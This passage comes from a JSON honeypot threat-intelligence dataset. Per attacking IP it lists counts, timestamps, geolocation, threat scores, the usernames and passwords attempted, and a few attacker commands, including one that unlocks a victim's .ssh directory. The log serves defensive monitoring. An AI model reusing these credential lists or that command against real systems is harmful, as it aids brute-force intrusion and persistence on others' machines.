        "first_seen_30d": "2026-05-05T01:14:16.036000+00:00",
        "last_seen_30d": "2026-05-15T23:56:59.822000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 80,
        "Suricata": 60
      }
    },
    "27.25.66.172": {
      "attack_count": 114,
      "first_seen": "2026-05-20T18:33:34.935Z",
      "last_seen": "2026-05-21T01:17:56.073Z",
      "sessions": 57,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 24.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 22.3,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 171,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-20T18:33:34.935000+00:00",
        "last_seen_30d": "2026-05-21T01:18:56.997000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 114,
        "Suricata": 57
      }
    },
    "14.29.214.161": {
      "attack_count": 80,
      "first_seen": "2026-05-29T21:21:22.216Z",
      "last_seen": "2026-05-29T21:49:57.023Z",
      "sessions": 16,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "alireza",
        "arkserver",
        "claude",
        "deploy",
        "john",
        "test"
      ],
      "passwords_attempted": [
        "345gs5662d34",
        "1",
        "123",
        "12345678",
        "5tgb^YHN",
        "Azerty123",
        "Baidu@123",
        "ark",
        "belinea",
        "majid123",
        "pAssw0rd",
        "password",
        "qwepoi",
        "test1",
        "zxasqw12"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.login.success"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Shenzhen",
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 31.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 20.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 121,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-29T21:21:22.216000+00:00",
        "last_seen_30d": "2026-05-29T22:00:05.980000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 80,
        "Suricata": 41
      }
    },
    "45.148.145.60": {
      "attack_count": 78,
      "first_seen": "2026-05-11T05:13:03.223Z",
      "last_seen": "2026-05-29T21:29:20.358Z",
      "sessions": 13,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "British Virgin Islands",
      "country_code": "VG",
      "city": null,
      "asn": 208949,
      "as_org": "Hbing Limited",
      "threat_score": 44.3,
      "threat_level": "medium",
      "score_components": {
        "frequency": 19.6,
        "persistence": 15.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 91,
        "days_active_30d": 19,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-11T05:13:03.223000+00:00",
        "last_seen_30d": "2026-05-29T21:30:21.453000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 52,
        "Suricata": 39
      }
    },
    "34.156.81.221": {
      "attack_count": 73,
      "first_seen": "2026-05-19T07:21:50.835Z",
      "last_seen": "2026-05-19T07:22:32.244Z",
      "sessions": 33,
      "ports": [],
      "usernames_attempted": [
        "*1",
        "GET / HTTP/1.1",
        "OPTIONS rtsp://example.com RTSP/1.0",
        "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36"
      ],
      "passwords_attempted": [
        "$4",
        "Accept-Encoding: gzip",
        "Cseq: 7292",
        "Host: 172.105.186.117:23"
      ],
      "commands_executed": [
        ""
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Belgium",
      "country_code": "BE",
      "city": "Brussels",
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 20.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 20.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 115,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T07:21:50.835000+00:00",
        "last_seen_30d": "2026-05-19T07:23:39.748000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 73,
        "Suricata": 42
      }
    },
    "34.77.158.129": {
      "attack_count": 71,
      "first_seen": "2026-05-07T19:22:54.822Z",
      "last_seen": "2026-05-07T19:23:53.341Z",
      "sessions": 32,
      "ports": [],
      "usernames_attempted": [
        "*1",
        "GET / HTTP/1.1",
        "OPTIONS rtsp://example.com RTSP/1.0",
        "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36"
      ],
      "passwords_attempted": [
        "$4",
        "Accept-Encoding: gzip",
        "Cseq: 3373",
        "Host: 172.105.186.117:23"
      ],
      "commands_executed": [
        ""
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Belgium",
      "country_code": "BE",
      "city": "Brussels",
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 6.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 20.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 112,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-07T19:22:54.822000+00:00",
        "last_seen_30d": "2026-05-07T19:25:02.771000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 71,
        "Suricata": 41
      }
    },
    "35.187.83.149": {
      "attack_count": 71,
      "first_seen": "2026-05-10T08:00:27.505Z",
      "last_seen": "2026-05-10T08:01:07.010Z",
      "sessions": 32,
      "ports": [],
      "usernames_attempted": [
        "*1",
        "GET / HTTP/1.1",
        "OPTIONS rtsp://example.com RTSP/1.0",
        "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36"
      ],
      "passwords_attempted": [
        "$4",
        "Accept-Encoding: gzip",
        "Cseq: 206",
        "Host: 172.105.186.117:23"
      ],
      "commands_executed": [
        ""
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Belgium",
      "country_code": "BE",
      "city": "Brussels",
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 10.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 20.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 112,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-10T08:00:27.505000+00:00",
        "last_seen_30d": "2026-05-10T08:02:16.484000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 71,
        "Suricata": 41
      }
    },
    "113.221.99.84": {
      "attack_count": 64,
      "first_seen": "2026-05-19T02:37:56.743Z",
      "last_seen": "2026-05-19T06:16:32.698Z",
      "sessions": 32,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 19.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 19.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 96,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T02:37:56.743000+00:00",
        "last_seen_30d": "2026-05-19T06:17:40.503000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 64,
        "Suricata": 32
      }
    },
    "220.128.131.197": {
      "attack_count": 62,
      "first_seen": "2026-05-22T10:22:52.415Z",
      "last_seen": "2026-05-22T19:54:34.008Z",
      "sessions": 31,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Taiwan",
      "country_code": "TW",
      "city": "Taipei",
      "asn": 3462,
      "as_org": "Data Communication Business Group",
      "threat_score": 22.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 19.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 93,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T10:22:52.415000+00:00",
        "last_seen_30d": "2026-05-22T19:55:37.062000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 62,
        "Suricata": 31
      }
    },
    "114.216.4.149": {
      "attack_count": 60,
      "first_seen": "2026-05-22T11:32:38.580Z",
      "last_seen": "2026-05-22T12:24:47.107Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "azureuser",
        "bot"
      ],
      "passwords_attempted": [
        "123123",
        "123321123",
        "3245gs5662d34",
        "345gs5662d34",
        "Admin-12345",
        "Admin123456",
        "azureuser123!",
        "pass1234",
        "penis123"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.command.input",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 22.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 19.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 94,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T11:32:38.580000+00:00",
        "last_seen_30d": "2026-05-22T12:34:48.807000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 60,
        "Suricata": 34
      }
    },
    "27.22.66.43": {
      "attack_count": 54,
      "first_seen": "2026-05-19T06:58:27.028Z",
      "last_seen": "2026-05-19T10:08:50.450Z",
      "sessions": 27,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 19.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 19.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 82,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T06:58:27.028000+00:00",
        "last_seen_30d": "2026-05-19T10:09:56.730000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 54,
        "Suricata": 28
      }
    },
    "5.45.189.11": {
      "attack_count": 54,
      "first_seen": "2026-05-11T20:42:47.606Z",
      "last_seen": "2026-05-27T14:22:02.876Z",
      "sessions": 9,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Lebanon",
      "country_code": "LB",
      "city": null,
      "asn": 60406,
      "as_org": "Aljadeed S.a.l",
      "threat_score": 38.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 18.1,
        "persistence": 14.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 64,
        "days_active_30d": 17,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-11T20:42:47.606000+00:00",
        "last_seen_30d": "2026-05-27T14:23:12.867000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 36,
        "Suricata": 28
      }
    },
    "206.135.174.139": {
      "attack_count": 50,
      "first_seen": "2026-05-07T21:49:12.284Z",
      "last_seen": "2026-05-07T21:54:36.664Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Sialkot",
      "asn": 9541,
      "as_org": "Cyber Internet Services Pvt Ltd.",
      "threat_score": 6.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 18.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 76,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-07T21:49:12.284000+00:00",
        "last_seen_30d": "2026-05-07T21:55:45.296000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 50,
        "Suricata": 26
      }
    },
    "94.243.10.123": {
      "attack_count": 50,
      "first_seen": "2026-05-09T19:16:34.511Z",
      "last_seen": "2026-05-09T19:23:07.215Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": "Tyumen",
      "asn": 8359,
      "as_org": "MTS PJSC",
      "threat_score": 8.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 18.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 76,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-09T19:16:34.511000+00:00",
        "last_seen_30d": "2026-05-09T19:33:11.067000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 50,
        "Suricata": 26
      }
    },
    "186.81.58.32": {
      "attack_count": 48,
      "first_seen": "2026-05-15T08:38:21.451Z",
      "last_seen": "2026-05-15T08:58:47.332Z",
      "sessions": 24,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Colombia",
      "country_code": "CO",
      "city": "Bogot\u00e1",
      "asn": 10620,
      "as_org": "Telmex Colombia S.A.",
      "threat_score": 14.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 18.9,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 78,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-15T08:38:21.451000+00:00",
        "last_seen_30d": "2026-05-15T09:09:42.176000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 48,
        "Suricata": 30
      }
    },
    "36.255.44.71": {
      "attack_count": 48,
      "first_seen": "2026-05-11T05:19:15.439Z",
      "last_seen": "2026-05-11T05:24:26.758Z",
      "sessions": 24,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Karachi",
      "asn": 9541,
      "as_org": "Cyber Internet Services Pvt Ltd.",
      "threat_score": 10.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 18.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 73,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-11T05:19:15.439000+00:00",
        "last_seen_30d": "2026-05-11T05:25:34.841000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 48,
        "Suricata": 25
      }
    },
    "42.224.168.94": {
      "attack_count": 44,
      "first_seen": "2026-05-03T05:04:04.770Z",
      "last_seen": "2026-05-03T05:08:50.256Z",
      "sessions": 22,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 3.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 18.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 67,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T05:04:04.770000+00:00",
        "last_seen_30d": "2026-05-03T05:09:57.802000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 44,
        "Suricata": 23
      }
    },
    "98.10.17.51": {
      "attack_count": 40,
      "first_seen": "2026-05-07T07:49:30.908Z",
      "last_seen": "2026-05-07T08:10:01.088Z",
      "sessions": 20,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Newark",
      "asn": 11351,
      "as_org": "Charter Communications Inc",
      "threat_score": 6.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 17.9,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 61,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-07T07:49:30.908000+00:00",
        "last_seen_30d": "2026-05-07T08:11:03.218000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 40,
        "Suricata": 21
      }
    },
    "198.251.76.234": {
      "attack_count": 36,
      "first_seen": "2026-05-02T13:46:13.121Z",
      "last_seen": "2026-05-02T13:47:19.509Z",
      "sessions": 18,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 8560,
      "as_org": "IONOS SE",
      "threat_score": 3.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 17.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 55,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-02T13:46:13.121000+00:00",
        "last_seen_30d": "2026-05-02T13:49:41.780000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 36,
        "Suricata": 19
      }
    },
    "68.235.37.251": {
      "attack_count": 36,
      "first_seen": "2026-05-05T02:24:16.946Z",
      "last_seen": "2026-05-27T05:42:21.325Z",
      "sessions": 6,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Chicago",
      "asn": 11878,
      "as_org": "tzulo, inc.",
      "threat_score": 41.1,
      "threat_level": "medium",
      "score_components": {
        "frequency": 16.2,
        "persistence": 19.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 42,
        "days_active_30d": 23,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T02:24:16.946000+00:00",
        "last_seen_30d": "2026-05-27T05:43:23.138000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 24,
        "Suricata": 18
      }
    },
    "125.228.246.177": {
      "attack_count": 30,
      "first_seen": "2026-05-18T22:28:31.714Z",
      "last_seen": "2026-05-19T01:26:25.473Z",
      "sessions": 15,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Taiwan",
      "country_code": "TW",
      "city": "Taipei",
      "asn": 3462,
      "as_org": "Data Communication Business Group",
      "threat_score": 18.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 16.5,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 45,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-18T22:28:31.714000+00:00",
        "last_seen_30d": "2026-05-19T01:27:27.327000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 30,
        "Suricata": 15
      }
    },
    "43.228.157.169": {
      "attack_count": 21,
      "first_seen": "2026-05-11T01:51:39.347Z",
      "last_seen": "2026-05-12T08:58:37.616Z",
      "sessions": 6,
      "ports": [],
      "usernames_attempted": [
        "support",
        "ftpuser"
      ],
      "passwords_attempted": [
        "support",
        "ftppassword"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": null,
      "asn": 205759,
      "as_org": "Ghosty Networks LLC",
      "threat_score": 14.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 15.9,
        "persistence": 4.2,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 39,
        "days_active_30d": 5,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-08T21:41:38+00:00",
        "last_seen_30d": "2026-05-12T16:02:29.973000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 21,
        "Suricata": 16,
        "Honeytrap": 2
      }
    },
    "2.57.122.197": {
      "attack_count": 20,
      "first_seen": "2026-05-05T16:03:46.957Z",
      "last_seen": "2026-05-13T01:03:40.853Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Romania",
      "country_code": "RO",
      "city": null,
      "asn": 47890,
      "as_org": "Unmanaged Ltd",
      "threat_score": 14.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 15.4,
        "persistence": 7.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 35,
        "days_active_30d": 9,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T16:03:46.957000+00:00",
        "last_seen_30d": "2026-05-13T01:04:41.388000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 20,
        "Suricata": 15
      }
    },
    "159.65.143.46": {
      "attack_count": 12,
      "first_seen": "2026-05-11T13:13:00.843Z",
      "last_seen": "2026-05-11T13:13:51.322Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "GET / HTTP/1.1",
        "User-Agent: Mozilla/5.0 zgrab/0.x"
      ],
      "passwords_attempted": [
        "Accept: */*",
        "Host: 172.105.186.117:23"
      ],
      "commands_executed": [
        "Accept-Encoding: gzip",
        ""
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.version",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.failed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 25.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 30,
        "persistence": 0.8,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 149762,
        "days_active_30d": 1,
        "ports_targeted_30d": 65306,
        "honeypots_triggered_30d": 16,
        "first_seen_30d": "2026-05-11T13:10:40+00:00",
        "last_seen_30d": "2026-05-11T13:25:38.325000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Suricata": 128808,
        "Honeytrap": 20893,
        "Cowrie": 12,
        "Mailoney": 12,
        "Dionaea": 9,
        "Miniprint": 8,
        "ConPot": 7,
        "Redishoneypot": 3,
        "Adbhoney": 2,
        "Dicompot": 1,
        "ElasticPot": 1,
        "Honeyaml": 1,
        "Ipphoney": 1,
        "Medpot": 1,
        "Tanner": 1
      }
    },
    "185.255.100.251": {
      "attack_count": 12,
      "first_seen": "2026-05-18T02:41:34.875Z",
      "last_seen": "2026-05-29T00:19:08.919Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "New York",
      "asn": 9009,
      "as_org": "M247 Europe SRL",
      "threat_score": 31.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 11.5,
        "persistence": 10.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 14,
        "days_active_30d": 12,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-18T02:41:34.875000+00:00",
        "last_seen_30d": "2026-05-29T00:20:15.407000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 8,
        "Suricata": 6
      }
    },
    "34.77.185.43": {
      "attack_count": 10,
      "first_seen": "2026-05-06T04:11:37.226Z",
      "last_seen": "2026-05-06T04:11:42.858Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "admin"
      ],
      "passwords_attempted": [
        "admin",
        "password"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Belgium",
      "country_code": "BE",
      "city": "Brussels",
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 4.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 15,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-06T04:11:37.226000+00:00",
        "last_seen_30d": "2026-05-06T04:12:46.879000+00:00",
        "days_since_last_seen": 25
      },
